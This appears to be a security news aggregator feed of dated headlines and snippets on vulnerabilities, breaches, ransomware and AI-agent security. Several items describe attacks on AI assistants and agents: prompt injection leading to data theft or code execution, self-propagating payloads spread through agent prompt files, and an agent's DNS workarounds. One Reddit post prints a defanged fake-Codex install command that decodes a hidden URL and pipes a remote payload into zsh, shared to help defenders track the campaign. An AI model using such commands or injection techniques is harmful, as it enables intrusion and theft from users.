Varonis Threat Labs has disclosed three vulnerabilities in Microsoft Copilot Personal that it said could allow a single click on a crafted link to silently pull data from connected apps and other information available to the victim's Copilot session. The flaws, which the researchers collectively named CoSnitch, turn in part on an undocumented URL parameter that the assistant itself surfaced
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Two critical vulnerabilities impacting MLflow, an open-source artificial intelligence (AI) platform, and FUXA, an open-source, web-based SCADA / HMI software built for operational technology (OT) and industrial automation, are witnessing malicious scanning and exploitation efforts. According to independent reports from watchTowr and VulnCheck, the vulnerabilities in question are as follows -
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added a critical flaw impacting Ray to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. Ray is an open-source, Python-native distributed computing framework designed to scale artificial intelligence and machine learning workloads. As of writing, the GitHub project has more than
Cybersecurity researchers at Wiz have disclosed a new GitHub Actions workflow injection vulnerability in Snowflake's public snowflakedb/snowflake-connector-net repository that it said could be exploited through a crafted GitHub issue to execute commands in a workflow containing internal Jira credentials. The issue was present in .github/workflows/jira_issue.yml, which ran when a
The expensive attacks are not always the clever ones. This week had plenty of proof. Exposed services got hit, old bugs found fresh use, browser sessions became attack paths, and supply-chain problems kept spreading farther than the original compromise. A lot of it came down to access that was already there and defenses that assumed nobody would look too closely. So, nothing magical. Just a
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The ChatGPT maker says its upcoming Astra model may have reached “critical” cyber capabilities, prompting it to halt a significant number of training runs while it tightens internal safeguards.
A single operator compromised more than 14,000 internet-connected Dahua cameras over roughly five weeks, with confirmed compromises concentrated in Ukraine and Russia. The operator exposed their own working directory on an open HTTP server, which let [Hunt.io](http://Hunt.io) researchers reconstruct the operation from the inside, tools, target lists, and running logs. Notable points: * 1,923 cameras carry a persistent backdoor account that survives a password change and most factory resets * Most cameras were reached through Dahua's cloud relay using only the serial number, opening a channel without an auth check in most cases * Root-cause CVEs patched since October 2021; Dahua confirmed firmware updates also block the offline recovery-code technique the operator used * A separate Windows stealer was staged on the same host, treated as an unrelated capability * No attribution to any government or named group Full report: [hunt.io/blog/operation-cameraswarm-dahua-cameras-compromised](http://hunt.io/blog/operation-cameraswarm-dahua-cameras-compromised)
Varonis Threat Labs has disclosed three vulnerabilities in Microsoft Copilot Personal that it said could allow a single click on a crafted link to silently pull data from connected apps and other information available to the victim's Copilot session. The flaws, which the researchers collectively named CoSnitch, turn in part on an undocumented URL parameter that the assistant itself surfaced
prompt injection containment as a structural property instead of a detector (interactive, real code, no llm)
my agent takes orders from other **ai agents**. they send it **signed messages** asking it to do stuff. **anthropic put out a paper this month** where three agents shared a repo and ended up writing self replicating malware at each other. the reason was dumb and kind of bleak: none of them could tell **who was talking to them**. so i pulled the **security layer** out of my repo and compiled it into **33kb of javascript**. it runs in your tab. **no server, no api key, no model call anywhere in it.** same input gives the same answer on every machine. turn your wifi off, it still works. you play an agent mine already approved and trusts. write any order you want, then pick how you smuggle it in: * **forge the signature** * **replay a packet you captured** * **show up as an agent it never met** * **claim authority you don't have** * **use a token minted for somebody else** * **bury it nine hops deep** the fun one isn't any of the ones it blocks. it's **"send it normally"**. your order gets in, fully accepted, and still can't run, because anything from a peer lands in a **quoted data field** that nothing reads as a command. **an attack that can't be obeyed doesn't need to be detected.** [https://meghavi.me/gate](https://meghavi.me/gate) **stuff i'd rather say myself than have you find:** there's no llm in it, which is the whole point, these decisions don't need one. both agents live in the same page so the network isn't what's being shown. and it proves nothing about a frontier model in the wild, it's just the **containment layer tested on its own terms**. if you get an order through, **tell me**. a hole is worth more to me than the page looking clever.
Two critical vulnerabilities impacting MLflow, an open-source artificial intelligence (AI) platform, and FUXA, an open-source, web-based SCADA / HMI software built for operational technology (OT) and industrial automation, are witnessing malicious scanning and exploitation efforts. According to independent reports from watchTowr and VulnCheck, the vulnerabilities in question are as follows -
Can somebody please confirm whether [**OGPS.uk**](http://ogps.uk/) is legitimate? They are advertising a **Berlin Global Forum in Germany** with claims of fully funded/partially funded participation, including free tickets, accommodation, and other benefits. What makes me confused is that several well-known social media platforms/pages that regularly post scholarship and international opportunity updates are also sharing it. Has anyone **actually verified OGPS or attended one of their previous events**? I’d really appreciate it if someone could confirm whether this is a legitimate opportunity or potentially a scam before people submit personal information or pay the application fee.
I made a lesson on Agentic AI, like Codex and Claude Code, for anyone wanting to understand some of the basics of AI Coding agents. In this lesson, I am using a small part of a bigger project im making for a custom spiderfoot build with agentic ai capabilities. This lesson shows how you can create an email investigation workflow using Codex. https://github.com/sh1katagana1/ai/blob/main/using-codex-for-email-investigations/codex-tutorial.md
A ransomware affiliate calling itself Ransom Busters has been spotted proactively sending emails to victim organizations and claims to delete stolen data from ransomware groups' servers in exchange for a fee ranging from $20,000 to $60,000. "In these messages, the third-party offers to help the victim recover from ransomware attack. This immediately stands out as anomalous," GuidePoint Research
Route leaks push traffic down paths it was never meant to take. We have written and spoken publicly in the past about route leaks in Border Gateway Protocol (BGP) , depicting these events as impactful incidents that cause misdirection of traffic through unintended network paths. BGP routing is driven by the relationships between Autonomous Systems (ASes), i.e., customer-provider and peer-peer. Customers pay providers for access to the rest of the Internet, while peers exchange traffic with one another typically under a “settlement-free” arrangement where no money changes hands. These relationships help define routing rules that form plausible paths. For example, the rules form a “valley-free” hierarchy of how routes should propagate: a route learned from a provider or a peer should be announced only downward to customers, never back up to another provider or peer. Rules like this express an intent or expectation about Internet routes. A route leak is what happens when that intent is violated. Historically, each network has had to implement this intent on its own, using complex, error-prone routing policies
One advertisement featured a pornographic video with a deepfake closely resembling a prominent US politician. Apple removed the app from the App Store after an inquiry from WIRED.
I revisited this malware variant that I came across in the wild to demonstrate to everyone how it works. Stay safe and I hope this helps someone learn something! https://youtu.be/U2UBJRcEO-Y?is=iHHFuspVRB7yjZjU
Author here. I audited NocoBase, Flowise, Langflow, Dify, Activepieces, Kestra, and Airflow and disclosed 14 findings. Every platform inherited the same assumption anyone who can touch a workflow is trusted to run code on the host, which is fine for a dev tool on your laptop but not fine for a multi-tenant HTTP service with an unauthenticated webhook. The chain I'd point people to first is the Flowise one (section 2.2): an unauthenticated request → prompt injection → LLM emits Python → a 38-pattern regex blocklist passes it because the dangerous library was pre-imported before the model was asked anything → RCE. Two vendors closed their reports as working-as-intended, and I tried to represent their position fairly. This research was also presented at DEFCON 34 but now available publicly. Happy to answer questions. Full whitepaper is available here: [https://www.endorlabs.com/learn/how-ai-orchestration-platforms-ship-rce-by-design](https://www.endorlabs.com/learn/how-ai-orchestration-platforms-ship-rce-by-design)
Security researchers at Anthropic and Switzerland's EPFL have demonstrated that self-propagating payloads can spread from one artificial intelligence (AI) agent to the next through the editable system prompt files that autonomous agent harnesses use to carry state between sessions. The work, released as a preprint on August 10, 2026, tests the technique in a simulated six-agent coding
A single piece of infrastructure has been pulling records out of Salesforce and ServiceNow customer portals across multiple industries for more than a year, according to research published this week by agent security platform Reco. The activity, which Reco has named the City Forum campaign after a domain tied to the attacker's IP address, traces back to one server: 158.220.87.79, hosted on a
Proton’s CEO is a champion of encryption for everyone. So why is he going all in on un-encryptable AI?
After Noel Pichardo called out his city's embrace of Flock surveillance cameras, he was subjected to five internal affairs investigations in less than two years.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added a critical flaw impacting Ray to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. Ray is an open-source, Python-native distributed computing framework designed to scale artificial intelligence and machine learning workloads. As of writing, the GitHub project has more than
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite The current ransomware situation is a bit of a kludge (deep breath): a lot of ransomware (which often doesn't even involve "ware", it's just extortion) is carried out by kids who successfully make a truckload of money but can't spend it without getting caught and the companies they breach rapidly get piled onto by class action lawyers that keeps them busy fighting and being cautious not to say anyting to customers lest that then gets used against them in litigation. That's mostly it; more in this week's video:
I revisited this malware variant that I came across in the wild to demonstrate to everyone how it works. Stay safe and I hope this helps someone learn something!
Monday, August 17
Cybersecurity researchers at Wiz have disclosed a new GitHub Actions workflow injection vulnerability in Snowflake's public snowflakedb/snowflake-connector-net repository that it said could be exploited through a crafted GitHub issue to execute commands in a workflow containing internal Jira credentials. The issue was present in .github/workflows/jira_issue.yml, which ran when a
A critical security flaw has been disclosed in Forminator Forms, a WordPress plugin with more than 600,000 active installations, that could be exploited to achieve arbitrary code execution on susceptible sites. The vulnerability, tracked as CVE-2026-15748, is rated 9.8 out of 10.0 on the CVSS scoring system. It was discovered and reported by a security researcher who goes by the online alias "
Cybersecurity researchers have traced the continued evolution of the Cavern (aka Cav3rn) command-and-control (C2) framework used by Iranian nation-state hackers in attacks targeting entities in Israel. Russian cybersecurity company Kaspersky said its ongoing monitoring of the threat activity cluster since December 2025 has led to the discovery of previously unreported components that expand the
J'ai créé ScamBuster, un honeypot open source pour les e-mails de fraude. Il ne répond qu'aux e-mails qui arrivent. Il n'envoie jamais le premier message. Chaque réponse vient de l'un des plusieurs personas d'IA. Le système sélectionne les personas avec un bandit epsilon-greedy, ce qui lui permet d'apprendre au fil du temps lesquels maintiennent un escroc en conversation le plus longtemps. Pendant que la conversation se déroule, ScamBuster extrait des IOCs : comptes bancaires de mules, numéros de téléphone, portefeuilles crypto, domaines. En ce moment, il suit 34 types. Vous pouvez les exporter en tant que paquets STIX 2.1, événements MISP, ou via un flux TAXII, donc ils tombent directement dans un pipeline SIEM ou SOAR. Il fonctionne en production depuis novembre 2025. Je suis ingénieur principal chez Filigran et j'ai présenté ce projet à Black Hat USA ce mois-ci, en tant que projet personnel. Code : https://github.com/laugiov/scambuster J'aimerais avoir des retours de personnes qui travaillent avec des flux IOC au quotidien. Le format est-il utile tel quel, ou manque-t-il quelque chose pour s'intégrer à votre stack ?
Three variations on subversive use of DNS by the Agent are documented in Hugging Face's technical writeup of the July 2026 security incident involving OpenAI models. In this article, I discuss what each of these three types of DNS workarounds achieve in practice, the constraints an actor might have faced to attempt a particular one, and additional benefits from choosing each.
The expensive attacks are not always the clever ones. This week had plenty of proof. Exposed services got hit, old bugs found fresh use, browser sessions became attack paths, and supply-chain problems kept spreading farther than the original compromise. A lot of it came down to access that was already there and defenses that assumed nobody would look too closely. So, nothing magical. Just a
hi, just published a small security research archive with two independent LPEs I found during research. one is an MSI Center UAC bypass via a TOCTOU condition, and the other is a NetLimiter LPE. both include working PoCs + technical explaination to a decent extent [https://github.com/Zypherion-Technologies/Vulnarium](https://github.com/Zypherion-Technologies/Vulnarium)
MCP servers can expose enterprise secrets through plaintext configuration files, over-permissioned access and prompt injection, often before security teams even know the server is running. As more organizations adopt AI agents into their systems, that exposure can silently become a major gap in MCP server security. The Model Context Protocol (MCP) allows AI agents to reach the tools and data,
Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex. A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64. https://preview.redd.it/v31atwx50xjh1.png?width=1108&format=png&auto=webp&s=6cb2d317c7fd455e75c67cec9e33085cf3a888c9 **Defanged example, do not execute:** echo "npm install -g u/openai/codex https://openai.com/codex/" && curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh The Base64 value decoded to: hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json The interesting part is the delivery pattern: Sponsored search result ↓ Fake Codex installation page ↓ Legitimate-looking OpenAI text printed with echo ↓ Base64-obfuscated unrelated domain ↓ curl response piped directly into zsh I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence. The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to: /opt/homebrew/Caskroom/codex/0.147.0/bin/codex The binary is signed: Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2) So the malicious component appears to be specifically the separately downloaded `quill-flint[.]com` shell payload. Has anyone tracking current macOS malware seen: quill-flint[.]com /curl/<id>/<id>.json or this exact Codex-themed lure? I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain. I can provide more sanitized timestamps and filesystem observations if useful for analysis.
Cybersecurity researchers have flagged a previously undocumented Linux botnet family dubbed Evooo1Bot that derives its core functionality from the Mirai botnet source code and is equipped to turn internet-facing devices into SOCKS proxies. "While the malware reuses the DDoS engine from the publicly leaked Mirai source code, it extends the original framework with numerous capabilities, including
To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have better luck on the [Reverse Engineering StackExchange](http://reverseengineering.stackexchange.com/). See also /r/AskReverseEngineering.
Today, we’re introducing a redesigned GreyNoise Visualizer that makes it easier to navigate those capabilities and brings related workflows together in one place.
Sunday, August 16
phaedra: coverage-guided fuzzer that uses a local LLM to bootstrap seeds for undocumented binary formats
Saturday, August 15
A maximum-severity security vulnerability impacting SAP Commerce Cloud is witnessing active exploitation efforts. The vulnerability, tracked as CVE-2026-58231, is rated 10.0 on the CVSS scoring system. It relates to an instance of insufficient authorization checks and input validation. "SAP Commerce Cloud allows an unauthenticated attacker to abuse a default authentication client and submit
Friday, August 14
At a press conference outside Madison Square Garden, politicians, musicians, and privacy advocates argued for tighter restrictions on how public venues deploy biometric surveillance.
Most companies designed their resource permissions with a human user in mind. A senior engineer may be able to deploy to production, query a sensitive database, or revoke another user's access. Those privileges come with risk, but that risk has traditionally been bounded by two assumptions: the engineer will use human judgment, and the engineer can only act at human speed. An engineer who sees an unexpected result will usually stop and reconsider their actions. Any human being can only click, type, and review so much in a single day. The introduction of AI agents changes both thresholds. Their decisions are nondeterministic, and they can take the same action (or invoke the same tool) indefinitely, without getting tired or stopping for lunch. A plausible — but incorrect — decision can become thousands of incorrect actions before a human notices. Today, we're announcing new Cloudflare One capabilities to identify inspected MCP traffic, show which users and servers are generating it, and control direct connections on managed network paths. Combined with MCP Server Portals , these controls help administrators see whether agents are using an approved path, or somehow bypassing it. Model Context Protocol (MCP) servers give agents a common way to discover and invoke tools backed by third-party SaaS products, internal applications, and APIs. The underlying permissions are likely familiar; what changes is who makes each decision, and how quickly a bad decision can spread. Connecting an agent to one of these tools can take a single
AI has enabled employees across every team to build applications faster than ever before. But that speed is also what's keeping every CISO up at night: any employee can build an application, deploy it to the public Internet, and accidentally expose internal work or company data. Today, we're launching new tools to make it easy to keep your applications hosted on Workers private. You can now apply Cloudflare Access directly to a Worker or to every Worker in your account, so that your applications are behind your company login by default, without relying on each developer to set that up themselves. You can now: Set a policy at the account level to ensure that all preview and production deployments are behind your company login by default. Set a policy on a single application to ensure authentication is enforced on every domain associated with it, no matter how it's deployed. See exactly who visits your application. Get every authenticated user’s email, name, and groups directly in your code — no JWT (JSON Web Token) validation required. Deploy an internal platform where every deployment is private by default. We've open-sourced an example : an internal static site platform where every Worker deployed is private. Access on Workers: how it works When you enable Access on a Worker, Cloudflare enforces authentication before any request reaches your application code. It doesn't matter how the request gets to your Worker, whether it's through a custom domain, a route, a workers.dev subdomain, or a preview URL. If Access is on, the user h
It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day. That information is already semi-public, but it is not easily parsed and traditionally much of it has remained walled away in the hands of large advertising platforms. Not anymore: A powerful and free new service called DecryptAds scrapes and correlates this adtech data and makes it simple to quickly learn a great deal about the entities that are tracking you. A Decryptads summary of the advertising partnerships declared by espn.com. The newly launched decryptads.com says it is constantly scraping the files that websites and apps make publicly available to disclose the companies that are permitted to run ads or collect user data. These files include: – ads.txt : all of the adtech companies and data brokers that may run ads or harvest data from the site; – app-ads.txt : entities that can harvest data from or display ads on mobile an
Suddenly, you’re in a room. You look around - oh, you’re surrounded by other new starters at your new job. Yes, it’s Monday, and you’re being onboarded. You know the drill - it’s the typical enterprise “please don’t be a bad person or we may have to fire you” speech. But, you know what’s coming soon. It’s your favorite part of the onboarding process when you’ve started a new role. It begins! The password policy requirements. You straighten your tie, because sure as heck, your SSLVPN credentials will not be the starting point for this organization. Not this time. Not again. You swore to yourself that you’d use a symbol this time. Wait, did they just say NetScalers? The world freezes around you. How are you back in the hellscape? You panic - what does a symbol matter in comparison to the traumatic nightmares you relive every day? You realize the truth - nobody cares whether your password has a symbol or not. It’s already over for you. Welcome back to another watchTowr Labs blog post. It’s been three years since the last publicly documented NetScaler RCE writeup. ChatGPT tells us that today we’re changing that. Exciting. In this post, we’re going to walk through a vulnerability that was resolved as part of a recent NetScaler ADC and NetScaler Gateway Security Bulletin . As part of this bulletin, Citrix subtly? silently? loudly? patched a Heap Overflow vulnerability
Thursday, August 13
Here's my research in using CSS for offence. There are loads of techniques including stealing passwords from Outlook from an email by spoofing the login screen. [](https://www.reddit.com/submit/?source_id=t3_1viivra&composer_entry=crosspost_prompt)
At a time when looking down at our devices is a ritual in daily life, a natural phenomenon that demands our attention communally upward is a welcome event. On Wednesday, August 12, a total solar eclipse swept from the North Atlantic across Europe, moving over Iceland and northern Spain and Portugal, with a deep partial eclipse over the rest of Western Europe, all near local sunset. This was the first total solar eclipse to cross mainland Europe in twenty years, and it drew millions outdoors to witness the moon pass between Earth and the sun. As we saw during the 2026 World Cup and the last total eclipse in 2024 , online behavior is noticeably affected when an event at this scale takes place. In this blog post, we’ll use data from Cloudflare Radar to examine how Internet traffic shifted alongside the moon and the sun. Internet traffic dips align precisely with maximum obscuration In the figure above, we measured HTTP request volume in five-minute buckets across the affected countries on eclipse day, and compared it to a normal-day baseline. Each row is a country (except for Alaska) and each column is a five-minute slice of August 12, 2025, the day of the eclipse. The countries appear above in the order in which they saw the eclipse. The black diamonds mark the moment of maximum eclipse and the color shows the percent change in HTTP traffic versus the baseline (red = below normal, blue = above). We can see very clearly that the black diamonds overlay the darkest red, almost perfectly, signaling that as the eclipse deepened, Internet traffic decr
Since we launched Certificate Transparency Monitoring in public beta in 2019, we've been emailing subscribers whenever a new TLS certificate appears in a public Certificate Transparency (CT) log for one of their domains. Today, it's turned on for more than 650,000 customer domains. It's an early warning that someone, somewhere, has issued a certificate for a hostname in your zone, giving you a chance to spot a mis-issued certificate early. It's a useful signal, but it had a noise problem, and we felt it ourselves. Cloudflare issues a large volume of certificates on your behalf: Universal SSL renewals, certificates from Advanced Certificate Manager, and backup certificates. All of them are logged to public CT logs by design, because a certificate that isn't logged won't be trusted by major browsers like Google Chrome and Apple's Safari. So the same transparency that lets you monitor for mis-issuance also surfaces every certificate we issue for you. And issuance isn't a one-time event. Certificates are short-lived and renew automatically: a single Universal SSL certificate can renew as often as every 60 days , up to about six times a year. That cadence is set to increase, with the CA/Browser Forum having voted to cut the maximum certificate lifetime to 47 days by 2029, multiplying the routine renewals that fl
Records obtained by WIRED detail hundreds of allegations of Customs and Border Protection workers misusing internal tools to look up romantic interests and track colleagues’ cell phones.
Former Google Threat Intelligence leader joins GreyNoise as SVP of Adversary Operations to advance proactive discovery and disruption of cyber threats.
Wednesday, August 12
Security researchers found that in less than 60 seconds, they could open a hatch on a plane’s exterior, plug in a tiny device, and redirect the aircraft’s autopilot or sabotage its flight plan.
Experts allege that two recent incidents in California show the extreme lengths that criminal organizations are willing to go to to steal servers and other gear meant for data centers.
Chaining 3 CVEs to exfiltrate sensitive ERP data.
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite A little wind noise, a little connectivity flakiness, and a little lip-sync issues from YouTube, but look at that view! 朗 Back to business, it's the Brinks Home FAQ I found most interesting this week. I mean, how do you write your own FAQ then fail to actually answer most of the questions?! Being conscious that they're the target of criminal extortion and are genuinely the victims here, I still struggle to grasp how simple incident response questions can be so lawyer-speaked as to remove all sensible meaning from the responses. But this is how these things tend to play out these days (speaking generically, yet to be seen fully for Brinks): hacker gets data by just calling up and asking for it (vishing -> OAuth), hacker demands money, hacker gets no money so dumps the data, company gets a gazillion class actions overnight and lawyers up to the hilt, customers get notified "where legally required" (which it usually isn't) 路♂️
Tuesday, August 11
Microsoft today released updates to remedy at least 398 security vulnerabilities in its Windows operating systems and supported software, including one weakness that is already being actively exploited and two others that were publicly detailed prior to today. Image: Shutterstock, Mallika Home Studio. August’s overstuffed bundle of patch joy from Microsoft did not eclipse its recording breaking release of more than 570 security updates last month , but it is double June’s then-record batch of nearly 200 fixes . Microsoft has attributed the recent patch deluge to vulnerability discoveries aided by artificial intelligence, and experts roundly agree that Windows users should get used to the idea of Patch Tuesdays (the second Tuesday of each month) covering hundreds of newly discovered security flaws. Fully 42 of the 398 flaws that Microsoft patched today earned Redmond’s most-dire “critical” rating, meaning they are severe enough that malware or malcontents could exploit them to gain remote control over a Windows computer with little to no help from the user. The
I registered an expired DMARC reporting domain (gca-emailauth\[.\]org) for $10. It had been published as the aggregate-reporting address in Global Cyber Alliance DMARC training docs going back to a 2019 bootcamp, and at some point it lapsed. Shortly after registration, aggregate DMARC reports for 86 domains across 20+ organizations started arriving. 56 belonged to The Toro Company (NYSE-listed), including myturf\[.\]com, their distributor platform, which sits at p=none. The rest - University of Wisconsin–Stevens Point (14 subdomains), the North Carolina School of Science and Mathematics, Ennis ISD (Texas), Great Prairie AEA (an Iowa education agency serving 35,000 students), two county governments, and several commercial domains. For most of these it was a second rua address sitting behind a working commercial processor (Proofpoint, in Toro's case). Reports still arrived at the primary. GCA's engineers later traced it to a former partner who'd held the domain and let it lapse - the dependency was never written down. As of my last sweep, 65 of the 86 still publish the endpoint. We disclosed to everyone whose reports we were receiving; only 21 domains stopped publishing the endpoint, and almost nobody replied. After 8 months of owning the domain, we coordinated a transfer back to GCA.